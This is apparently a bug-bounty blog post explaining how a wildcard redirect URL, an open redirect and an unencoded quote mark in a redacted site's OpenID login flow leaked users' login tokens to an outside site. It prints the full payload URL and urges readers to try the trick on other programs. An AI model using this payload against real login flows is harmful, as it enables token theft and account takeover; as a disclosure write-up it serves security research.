Leaking OpenID tokens with “ — the bug right infront of you

This is only going to be a short post explaining the details of a vulnerability I found which I believe many researchers overlooked when testing the login flow of one program. This bug may affect other sites using an OpenID login flow, I would recommend testing :) (It is best if they have misconfigured their redirectURL to allow for *.theirdomain.com/* as your scope for finding an open url redirect will be greater)

The Login flow

So, on with the bug. When logging into redacted.com it used an OpenID system which works exactly the same as an Oauth login flow in which it takes a redirectURL and will redirect to that URL upon a successful login. Along with the redirect a token is sent, and as a hacker, I want this token!

https://www.redacted.com/login?redirectURL=/here

I could input *.redated.com into the redirectURL parameter and it would redirect. I quickly found an open url redirect but sadly on the final redirect to my site the users login token wasn’t appended since it was set on a hashfragment. (#) Sadface.jpeg

My first thought was, what would happen if I nested it in a parameter with quote marks? I was hoping when redirecting it would treat the users login token as a parameter value in quotes. Looking back, since it’s set in a hashfragment, I have no idea why I thought this. But this goes to show that you can never be wrong with hacking & testing things.. chuck what you want at it and see what happens! :)

So this was the vulnerable URL:

https://www.redacted.com/login?redirectURL=https%3A%2F%2Fevil.redacted.com%2Fredirect%3Furl%3Dhttps%3A%2F%2Fwww.mysite.com%2F?c="

And when I tested, the bug worked!.. but not how I expected. I had however successfully obtained my token on the attackers site. Happyface.jpeg

Now I just need to work out how and what happened.

Well when testing login flows and wanting them to redirect to my website after a successful login, I will always encode (and sometimes double encode) to make sure when redirecting the browser is decoding values in the correct order. Understanding how a site handles certain encodings is important. (especially when needing to find filter bypasses:D)

For example: the payload below may not successfully redirect to your intended destination without encoding (and like I said, sometimes double encoding, %252F, this will become evident when you are testing).

, https://www.redacted.com/login?redirectURL=https://evil.redcated.com/redirect?url=https://myevilsite.com/

But anyway, back to the actual bug. If you notice I actually left one character unencoded… the quote mark! “ — I was just testing to see what would happen I could nest parameters in a quote remember? However before redirecting to my website, redacted.com actually encoded “ to " — and thanks to this simple encoding it enabled the users login token to be smuggled through with the redirect to my website. If I had used %22 then no token was leaked. It had to be “ — exactly that. No quote mark, no token leaked.

Final payload was literally just https://www.redacted.com/login?redirectURL=https%3A%2F%2Fevil.redacted.com%2Fredirect%3Furl%3Dhttps%3A%2F%2Fwww.mysite.com%2F?c=" and upon the user logging in, their login token was sent to the attackers server. Again, without “, the bug did not work. But thanks to “, I was now this user :)

Takeaways

There is no right or wrong answer when it comes to hacking. Unless you try, how will you know? I find the majority of my bugs from manually interacting with features and trying to break them and the beauty of hacking is: you can try anything! Literally anything (within reason of course…!)

So there we have it, something so simple right infront of everyone with huge impact. As explained in the opening post, this may affect more programs since it’s a pretty popular login flow used by many sites but it’s also dependent on how the site handles the encoding of certain characters and if they have misconfigured the redirectURL etc :)

happy hunting & hacking ❤